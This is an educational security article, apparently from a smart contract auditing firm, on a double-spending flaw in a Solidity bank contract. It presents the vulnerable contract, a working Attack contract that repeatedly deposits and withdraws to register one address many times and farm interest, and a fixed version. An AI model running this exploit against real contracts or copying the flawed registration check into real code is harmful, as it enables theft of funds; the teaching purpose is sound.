Contents

Solidity Security By Example #13: Double Spending #2


Originally published in Valix Consulting’s Medium.

Smart contract security is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Double spending can happen due to improper smart contract design or incorrect implementation. Most of the time, the double spending vulnerability could be challenging to detect.

This article will explain how a smart contract vulnerable to double spending can be attacked and how to remediate the issue. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/13_double_spending_02.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Vulnerability


The following code shows the InsecureNaiveBank contract demonstrating a simple (and naive) on-chain banking system. The contract allows anyone to deposit their Ether funds through the deposit function (lines 24–33).

The deposited Ethers can be withdrawn anytime via the withdraw function (lines 35–41).

A banker executes the applyInterest function (lines 45–56) to calculate compound interests for all depositors. The interest rate is fixed at 5% (line 4). 🤑🤑🤑

Besides, a banker can deposit Ether funds into the contract by invoking the depositBankFunds function (lines 20–22).

No doubt, the InsecureNaiveBank contract is vulnerable. Can you catch up on any issues? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
pragma solidity 0.8.20;

contract InsecureNaiveBank {
    uint256 public constant INTEREST_RATE = 5;  // 5% interest

    mapping (address => uint256) private userBalances;
    address[] private userAddresses;

    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "You are not the owner");
        _;
    }

    function depositBankFunds() external payable onlyOwner {
        require(msg.value > 0, "Require some funds");
    }

    function deposit() external payable {
        require(msg.value > 0, "Require some funds");

        // Register new user
        if (userBalances[msg.sender] == 0) {
            userAddresses.push(msg.sender);
        }

        userBalances[msg.sender] += msg.value;
    }

    function withdraw(uint256 _withdrawAmount) external {
        require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance");
        userBalances[msg.sender] -= _withdrawAmount;

        (bool success, ) = msg.sender.call{value: _withdrawAmount}("");
        require(success, "Failed to send Ether");
    }

    // There is a denial-of-service issue on the applyInterest() function, 
    // but it is not the scope of this example though
    function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) {
        for (uint256 i = 0; i < userAddresses.length; i++) {
            address user = userAddresses[i];
            uint256 balance = userBalances[user];

            // Update user's compound interest
            userBalances[user] = balance * (100 + INTEREST_RATE) / 100;

            // Calculate the minimum bank balance required to pay for each user
            minBankBalanceRequired_ += userBalances[user];
        }
    }

    function getBankBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}
InsecureNaiveBank.sol


We would like to note that the InsecureNaiveBank contract got an unbounded denial-of-service issue on the applyInterest function.

But, it is not in the scope we will focus on in this article 🤔. Nonetheless, we already published the article explaining that denial-of-service issue in case you might be interested. 🤗


The InsecureNaiveBank contract got a design flaw in the deposit function (lines 24–33).

In detail, the deposit function will treat the function caller as a new depositor if the caller’s deposit balance tracked by the mapping userBalances is zero (line 28) — i.e., the if (userBalances[msg.sender] == 0) { … } statement.

Later, the new depositor will be registered into the contract by appending their address to the array userAddresses at the tail (line 29) — i.e., the userAddresses.push(msg.sender); statement. 🤔

The root cause of the vulnerability resides in the improper logical check of the new depositor in line 28. Consider the below figure to understand how the improper logical check in question can lead to a double spending attack. 👽

Figure 1. How an attacker performs a double spending attack for their BIG PROFIT

Figure 1. How an attacker performs a double spending attack for their BIG PROFIT


An attacker first executes the deposit function to deposit Ether funds (Step 1.1). Since the attacker’s deposit balance (tracked by the mapping userBalances[address(attacker)]) is zero, the attacker’s address will be registered as a new depositor (Step 1.2).

Next, the attacker empties their account by calling the withdraw function to withdraw all Ether funds (Step 2). As a result, the attacker’s deposit balance (the mapping userBalances[address(attacker)]) would become zero.

With Step 2, the attacker can bypass the improper logical check of the new depositor in line 28 easily. 😼

Later, the attacker executes Steps 1 and 2 multiple times at will to perform a double spending attack. For each iteration, the same attacker’s address will be registered to the array userAddresses (line 29). 😎

Once a banker 🤢 invokes the applyInterest function (lines 45–56) to compute the compound interests of all depositors (Step 3), the function will loop over the array userAddresses and update the compound interest of each depositor (lines 46–55).

For this reason, the attacker would receive the more significant interest as much as how many times they execute the above-described Steps 1 and 2. 🎃


.    .    .

The Attack


The code below exhibits the Attack contract that an attacker can use to exploit the InsecureNaiveBank contract.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity 0.8.20;

interface INaiveBank {
    function deposit() external payable;
    function withdraw(uint256 _withdrawAmount) external;
}

contract Attack {
    INaiveBank public immutable naiveBank;

    constructor(INaiveBank _naiveBank) {
        naiveBank = _naiveBank;
    }

    receive() external payable {
    }

    function attack(uint256 _xTimes) external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");

        for (uint256 i = 0; i < _xTimes - 1; i++) {
            // Do a double spending
            naiveBank.deposit{value: msg.value}();
            naiveBank.withdraw(msg.value);
        }

        // Do a final deposit and wait for the BIG PROFIT!!!
        naiveBank.deposit{value: msg.value}();
    }
}
Attack.sol


To exploit the InsecureNaiveBank, an attacker executes the attack function (lines 18–29) and supplying 1 Ether as initial attack funds.

An attacker must also specify the parameter _xTimes — the number of times the attacker would like to double register their address (i.e., Steps 1 and 2 described in Figure 1 above).

Figure 2. The attack result

Figure 2. The attack result


The result of the attack is shown in Figure 2. As you can see, the attacker achieved executing the 20-time double-spending attack.

With the same amount of 1 Ether deposited, the user0 received only 0.05 Ether interest 🥺.

Meanwhile, the attacker could gain a profit of over 1.65 Ethers. 💰💰💰


.    .    .

The Solution


The below FixedNaiveBank contract is the improved version of the InsecureNaiveBank contract. 👨‍🔧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
pragma solidity 0.8.20;

// This contract still has a denial-of-service issue, but it is not the scope of 
// this example though. Therefore, please do not use this contract code in production
contract FixedNaiveBank {
    uint256 public constant INTEREST_RATE = 5;  // 5% interest

    struct Account {
        bool registered;  // FIX: Use the 'registered' attribute to keep track of every registered account
        uint256 balance;
    }

    mapping (address => Account) private userAccounts;
    address[] private userAddresses;

    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "You are not the owner");
        _;
    }

    function depositBankFunds() external payable onlyOwner {
        require(msg.value > 0, "Require some funds");
    }

    function deposit() external payable {
        require(msg.value > 0, "Require some funds");
        
        // FIX: Use the 'registered' attribute to keep track of every registered account
        if (!userAccounts[msg.sender].registered) {
            // Register new user
            userAddresses.push(msg.sender);
            userAccounts[msg.sender].registered = true;
        }

        userAccounts[msg.sender].balance += msg.value;
    }

    function withdraw(uint256 _withdrawAmount) external {
        require(userAccounts[msg.sender].balance >= _withdrawAmount, "Insufficient balance");
        userAccounts[msg.sender].balance -= _withdrawAmount;

        (bool success, ) = msg.sender.call{value: _withdrawAmount}("");
        require(success, "Failed to send Ether");
    }

    // There is a denial-of-service issue on the applyInterest() function, 
    // but it is not the scope of this example though
    function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) {
        for (uint256 i = 0; i < userAddresses.length; i++) {
            address user = userAddresses[i];
            uint256 balance = userAccounts[user].balance;

            // Update user's compound interest
            userAccounts[user].balance = balance * (100 + INTEREST_RATE) / 100;

            // Calculate the minimum bank balance required to pay for each user
            minBankBalanceRequired_ += userAccounts[user].balance;
        }
    }

    function getBankBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userAccounts[_user].balance;
    }
}
FixedNaiveBank.sol


To remediate the double spending issue on the deposit function, we have to redesign the way to verify the new depositor.

We introduced the new state variable named registered in line 9 to keep track of every registered account.

The registered variable will be used in line 35 in the deposit function — i.e., the if (!userAccounts[msg.sender].registered) { … } statement — for verifying whether a caller of the deposit function is the new depositor or not, instead of using the caller’s deposit balance (tracked by the mapping userBalances[msg.sender] as doing in the InsecureNaiveBank contract).

Once the new depositor is registered, the registered variable corresponding to that depositor account will be set to true (line 38).

Hence, an attacker would no longer execute the double spending attack on the FixedNaiveBank contract.

Note that:

Please do not use the FixedNaiveBank contract in your production. The FixedNaiveBank contract is just a proof of concept of how to remediate the double spending issue only but it still implants some security issues.

For instance, the approach to calculating the depositors’ interests is still insecure. In case you might be interested, however, please head over to our article explaining the denial-of-service issue. 🤗


.    .    .

Summary


In this article, you have learned how the improper logical check in a smart contract can lead to a double spending attack.

You have understood how an attacker exploits the vulnerable contract and how to fix the issue. We hope you enjoy reading our article. Until next time.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/13_double_spending_02.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise, industry knowledge, and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please contact us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s Medium.